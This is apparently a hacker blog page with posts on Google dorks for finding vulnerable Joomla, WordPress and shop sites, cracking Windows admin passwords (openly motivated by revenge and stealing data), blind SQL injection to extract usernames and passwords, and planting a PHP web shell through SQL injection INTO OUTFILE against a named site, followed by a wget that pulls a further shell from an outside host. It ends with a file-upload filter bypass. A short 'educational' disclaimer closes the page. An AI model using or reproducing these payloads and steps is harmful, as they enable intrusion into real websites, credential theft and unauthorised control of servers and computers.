Latest News

Showing posts with label PenTest. Show all posts
Showing posts with label PenTest. Show all posts

SQL MAP [sql injection]



sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Video TUt:

Kali Linux Installation [virtual Machine]

Kali Linux:

A famous PenTest OS for hackers

Download Kali linux
Download Virtual Box


Some Joomla Usefull Dorks


Joomla JCE Exploit Remote File Upload-

inurl:/index.php?option=com_jceinurl:/index.php?option=com_virtuemar

tinurl:/images/stories/3xp.phpinurl:/images/stories/0day.phpinurl:/images/stories/inurl:/images/stories/ php

-Wordpress Themes Vulnerable Shell Upload-

inurl:/wp-content/themes/wpstore

inurl:/wp-content/themes/eShopinurl:/wp-content/themes/KidzStore

inurl:/wp-content/themes/Emporium

inurl:/wp-content/themes/Store

inurl:/wp-content/themes/eCommerce

inurl:/wp-content/themes/framework

inurl:/wp-content/themes/framework/chkorder.php?color=

inurl:/wp-content/themes/wpstore/thumb.php?src=

inurl:/wp-content/themes/framework/thumb.php?src=

inurl:/wp-content/themes/eCommerce/thumb.php?src=

inurl:/wp-content/themes/framework/getsubcat.php?q=

-SQL Injection-

inurl:about.php?ID=
inurl:article.php?id=by modulobox.eu
inurl:"lang"inurl:show_news.php?news_id=
inurl:page_main.php?id_stdpg=

-SQL Injection Web Shop-

inurl:buy.php?id=
inurl:item.php?shopcd=
inurl:shop.php?id=
inurl:additem.php?id=
inurl:"shop-cart.php?id=
"inurl:"addtocart.php?id=

Hack Windows Admin


Today, i am going to show you many aspects of the Windows Password Storage path, Method of Encryption, and breaking into Windows by cracking the admin password. We need this often for many reasons:
1) Sometime we have forgotten our old password and Hint isn't helping out.
2) We want to break into someone computer to get the information.
3) Just want to take revenge from someone.
4) Stealing computer data.

Let’s, take a deep dive in Cracking Windows password and also where these are stored and in which format.

SAM file and Password Hashes Place where these passwords are stored in Hashes:

Password Hashes - When you type your password into a Windows NT, 2000, or XP login Windows Seven, Vista etc Windows encrypts your password using a specific encryption scheme that turns your password into something that looks like this:
                    7524248b4d2c9a9eadd3b435c51404eddc5

This is a password Hash. This is what is actually being checked against when you type your password in. It encrypts what you typed and bounces it against what is stored in the Registry and/or SAM File. 
You can break this hash password from
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.

Location of SAM/Hashes:

You can find what you're looking for in several locations on a given machine.
It can be found on the hard drive in the folder %systemroot%system32config (i-e C:\windows\system32\config). However this folder is locked to all accounts including Administrator while the machine is running. The only account that can access the SAM file during operation is the "System" account.

The second location of the SAM or corresponding hashes can be found in the registry. It can be found under HKEY_LOCAL_MACHINESAM. This is also locked to all users, including Administrator, while the machine is in use.(GO to Run and Type Regedit and Hit enter, Now scroll to HKEY_LOCAL_MACHINESAM, However you may not access to it.)

So the two (Some other also) locations of the SAM Hashes are:
- %systemroot%system32config
- In the registry under HKEY_LOCAL_MACHINESAM


Cracking or Breaking Into Admin Account: 

How to get Hashes form SAM file? 

Well, Below are the methods to do so:
1) Well, the easiest way to do this is to boot your target machine to an alternate OS likeNTFSDOS or Linux and just copy the SAM from the %systemroot%system32config  folder. 
It's quick, it's easy, and it's effective. You can get a copy of NTFSDOS from Sysinternals(http://www.sysinternals.com) The regular version of NTFSDOS is freeware, which is always nice, but only allows for Read-Only access. This should be fine for what you want to do, however, if you're the kind of person that just has to have total control and has some money to burn. NTFSDOS Pro, which is also by Sysinternals has read/write access but it'll cost you $299.

2) You can also get password hashes by using pwdump2 (Google It to get software ~ Search at openwall.com). pwdump uses .DLL injection in order to use the system account to view and get the password hashes stored in the registry. It then obtains the hashes from the registry and stores them in a handy little text file that you can then  paste them into a password cracking utility like l0phtcrack or John the ripper (Linux Based works well) also cain and abel can be used.

3) Import Hashes directly from lophtcrack, and let them open to you by cracking.


Obtained Hashes? Now crack them:
Well, as i have said that these can't be reversed but somehow automated famous cracking software’s can be used to achieve the target. Yes, it is possible, All we have to do is to have a bit patience. The software will use a lot of strings and will compare these hashes also, In short it will decode them.
John the Ripper - John the Ripper is to many, the old standby password cracker. It is command line which makes it nice if you're doing some scripting, and best of all it's free and in open source. The only real thing that JtR is lacking is the ability to launch Brute Force attacks against your password file. But look at it this way, even though it is only a dictionary cracker, that will probably be all you need. I would say that in my experience I can find about 85-90% of the passwords in a given file by using just a dictionary attack.

LophtCrack - Probably the most wildly popular password cracker out there. L0phtCrack is sold by the folks at @Stake. And with a pricetag of $249 for a single user license it sure seems like every one owns it. This is probably the nicest password cracker you will ever see. With the ability to import hashes directly from the registry pwdump and dictionary, hybrid, and brute-force capabilities. No password should last long. Well, I shouldn't say "no password". But almost all will fall to L0phtCrack given enough time.
Making Your Own Password in Windows: 

Injecting Password Hashes into the SAM:
Easiest ways to gain Administrator privileges on a machine, is by injecting your own password hashes into the SAM file. In order to do this you will need physical access to the machine and a brain larger than a peanut. Using a utility called "chntpw" by Petter Nordhal-Hagen you can inject whatever password you wish into the SAM file of any NT, 2000, or XP machine thereby giving you total control, just burn the .iso on a disk and use it. I would give a tip like backing up the SAM file first by using an alternate OS. Make a USB disk of linux or Windows Live dsik can also work. Go in, inject the password of your choosing. Login using your new password. Do what you need to do. Then restore the original SAM so that no one will know that i was hacked.
You need to have admin access to perform this change from the command line. This is an especially handy trick if you want to change a password on an account but you’ve forgotten the original (going through the Control Panel can require confirmation of the old password).

Now we hack Admin Password To verify the user name, by simply typing net user, I get a list of all the user names on that windows machine. Now, go to the command prompt and enter:
                                                                       cd\
cd windows\system32
                          net user  
If there are people near you and you don’t want them to see the password you type, enter:
net user *
                                                             E.g. > net user username *
                                                      > Type a password for the user:
                                                      > Confirm the password:

http://i111.photobucket.com/albums/n150/askstudent/adminpassword.png




Another Easy method, Using  ophcrack to Hack into Admin Account:
Ophcrack is a Windows password cracker based on a time-memory trade-off using rainbow tables. This is a new variant of Hellman's original trade-off, with better performance. It recovers 99.9% of alphanumeric passwords in seconds.
http://sourceforge.net/dbimage.php?id=170373

This is a type of offline cracking, Just grab .iso of ophcrack from here. Burn it and enjoy using.
1.  Opchrack can crack passwords for Windows 7, Windows Vista, and Windows XP.
2. Ophcrack can recover 99.9% of passwords from Windows XP, usually in a matter of seconds. Any  14-character or smaller password that uses any combination of numbers, small letters, and capital letters should be crackable.
3.  Ophcrack can recover 99% of passwords from Windows 7 or Windows Vista. A dictionary attack is used in Windows 7 and Vista.
4.  The Ophcrack LiveCD option allows for completely automatic password recovery.
5.  LiveCD method requires no installation in Windows, making it a safe alternative to many other password recovery tools.
6.  No Windows passwords need to be known to use the Ophcrack LiveCD to crack your Windows passwords.
I think this ophcrack method is far better, Try this one just get a disk and write it, Or else USB disk can aslo be used.

Some security Tips ~ Making strong passwords:
Now, You might have come to know that how passwords can be cracked, So there are some tips for you.
1) Do not make common passwords like 123456 or the one of your own name.
2) Use @, *, # or other symbols in your passwords to ensure maximum security in this case John the ripper and Ophcrack and also other cracking tools may take long time, it will be frustrating for hacker.
3) Keep changing your password. So, that if long time is taken by one hash to decode, until it decodes you have generated another hash.

-------------------------------------------------------------------------------------------------------KNOXD3CrypT0r

SQL injection - Blind Injection


This is more advanced then an ordinary one just keep on reading and you will understand why.

Some Google dorks for Sql injection:

Not all of these needs to be hacked with the Blind Sqli method.

inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=


I am using our target example as:


http://www.site.com/news.php?id=5


When we execute this, we see some page and articles on that page, pictures etc...


then when we want to test it for blind Sql injection attack


http://www.site.com/news.php?id=5 and 1=1


The page loads normally, that's okay.


Now the real test.



http://www.site.com/news.php?id=5 and 1=2


So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection.


Step 1:Get the MySQL version:


To get the version in blind attack we use substring.



http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4



This should return TRUE if the version of MySQL is 4.


Replace 4 with 5, and if query return TRUE then the version is 5.



18 http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5


Step 2:Test if subselect works:


When select don't work then we use subselect


http://www.site.com/news.php?id=5 and (select 1)=1


If page loads normally then subselects work.


Then we going to see if we have access to mysql.user



http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1


If page loads normally we have access to mysql.user and then later we can pull some password using load_file() function and OUTFILE.


Step 3:Check table and column names:


This part might be tricky because you have to guess.


For example


http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1


(with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)


Then if the page loads normally without content missing, the table users exits.If you get FALSE (some article missing), just change table name until you guess the right one.


Let's say that we have found that table name is users, now what we need is column name.


The same as table name, we start guessing. As same I said before try the common names for columns.



http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) fr om users limit 0,1)=1


If the page loads normally we know that column name is password (if we get false then try common names or just guess)


Here we merge 1 with the column password, then substring returns the first character (,1,1)


Step 4:Pull data from the database:


We found table users in columns username password so we are going to pull characters from that.



19 http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>80


Ok this here pulls the first character from first user in table users.


Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value


and then compare it with symbol greater then > .


So if the ascii character greater then 80, the page loads normally. (TRUE) We keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>95


We get TRUE, keep on raising the value.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>98


TRUE again, higher



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),1,1))>99


Let’s say we got a false value now.


So the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.


then let's check the second character.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>99


Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)




http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>99


True keep going.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>107


20 False lower number.



http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a ,password) from users limit 0,1),2,1))>104


True go higher.

-------------------------------------------------------------------------------------------------------KNOXD3CrypT0r

Shell Uploading Via SQL Injection


In this I will show you how to upload a shell via SQLi.

This method is useful when you have admin info and can't upload anything, or when you have admin info but you can't find admin login and so on.

But this method is very rare!

Anyways let's start with our tutorial...

Things we will need:

1)  Your shell source in .txt format (I will use  http://www.sh3ll.org)
2)  Basic SQLi skill

So let's say you injected our site like this:

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+1,2,3,4--

Now you have admin info, you logged in and you failed uploading a shell.
Now our method comes to point.
Remember what column you should use. (Mine one will be 3)

Type in your vuln. column "user" and at the end "from mysql.user" so URL would be like:

http://shop.moto25.ru/news.php? newsnomber=-999+union+select+1,2,user,4+from+mysql.user--

NOTE: If you get an error after this you can't use this method.gg

You should get what is the current user for the site.

moto25_moto25

Good. Now remember that you will need it.

Now we check users file privilege.


In your column type: "group_concat(user,0x3a,file_priv)"

http://shop.moto25.ru/news.php? newsnomber=-999+union+select+1,2,group_concat(user,0x3a,file_priv),4+from+mysql.us er--

Now you should get all users and their privileges

root:Y,root:Y,apache:N,moto25_moto25:Y

Now our user was "moto25_moto25"...
That means we can make files on server.
Let's go to the next step.

To create a file into a server you need to find sites full path.



To do that you must cause an error, hopefully that error would give us our sites path.

We got ours:

/var/www/vhost/moto25/data/www/moto25.ru/

After that we must find writeable folder in our server.
Just browse around or scan it with Acunetix.
Usually public_html folder is writeable.
For our example I used

http://shop.moto25.ru/equip/

So spawning our shell is easy as 1,2,3..
Let's get back at our injection.

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+1,2,3,4--

Our column should be our php line.
In there we type:

" system($_GET['cmd']); ?>"

NOTE: Quotation marks are required

All other columns should be "null"

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+null,null," system($_GET['cmd']); ?>",null--

And at the end we use "INTO OUTFILE" function.

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+null,null," system($_GET['cmd']); ?>",null INTO OUTFILE--

Now we use site's full path and writeable folder:

/var/www/vhost/moto25/data/www/moto25.ru/equip/

Now

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+null,null," system($_GET['cmd']); ?>",null INTO OUTFILE /var/www/vhost/moto25/data/www/moto25.ru/equip/--

And our file name and extension.

http://shop.moto25.ru/news.php?newsnomber=-999+union+select+null,null," system($_GET['cmd']); ?>",null INTO OUTFILE "/var/www/vhost/moto25/data/www/moto25.ru/equip/phpcmd.php"--

Now, our shell should be spawned.
We now check if our file is created.

http://shop.moto25.ru/equip/phpcmd.php






You should get something like:

Warning: system() [function.system]: Cannot execute a blank command in /sites/full/path/phpcmd.php on line 1

That means we have our file created! Yeh…….!
We check if it is working:

http://shop.moto25.ru/equip/phpcmd.php?cmd=ls -la

We can see all files in current directory!
And simple command to download a shell:

http://shop.moto25.ru/equip/phpcmd.php?cmd=wget www.sh3ll.org/egy.txt -O egy.php

Explanation:

wget - Downloads textual file on our server (egy.txt). -O - Renames it to egy.php

Game over!
I hope you learned something more interesting ..

-------------------------------------------------------------------------------------------------------KNOXD3CrypT0r

Upload php shell using Tamper Data

In this I will show you how to upload a shell ...

Upload php shell using Tamper Data :)


While hacking u must have come along some sites or pages where they ask you to upload shells in just .jpg or some image format and i dont think you must be having any image shell :p . Anyways lets begin. You must have heard of data tampering or Tamper Data? No? Well, i will tell you...


 Tamper Data is a firefox addon which is used to view and modify HTTP/HTTPS headers and post parameters.Trace and time http response/requests.Security test web applications by modifying POST parameters.


First of all- download tamper data from here:  https://addons.mozilla.org/en-us/firefox/addon/tamper-data/ (remember to use Firefox)-

Install it and restart firefox. (It works with almost all the versions of firefox).-

Rename your .php shell to .jpg shell. e.g. : if the name of your shell is shell.php, make it shel.php.jpg or shell.php;.jpg shell.php;.jpg (To bypass website's security).

- find website to upload images


1- Locate your shell and place it in the upload box.



2-Click on tools in firefox menu and select Tamper Data.



3- Wait...Dont click on upload/save button , instead click on Start Tamper in tamper data addon and remember dont open any extra tabs except the uploading page.



4- Now hit the upload button.

5- After clicking on upload a window will appear, click on Tamper button.



6- Then you will see a tamper popup, copy all of the text of POST_DATA in a notepad. press ctrl+f in notepad and find shell.php.jpg or shell.php;.jpg and delete .jpg :) shell.php






7- Now again copy all the things in notepad and paste it in  POST_DATA field and click ok 




8- Locate ur pic/shell, What? You are done. your shell will be uploaded in the .php format..



-------------------------------------------------------------------------------------------------------KNOXD3CrypT0r

Contact Us

24x7 online , we happy to answer you
tamilcypc@gmail.com

Disclaimer

This Blog and its TUT's are intended for educational purposes only, no-one involved in the creation of this TuT may be held responsible for any illegal acts brought about by this Blog or TuT.



Featured Post

Custom Domains And HTTPS Redirection Code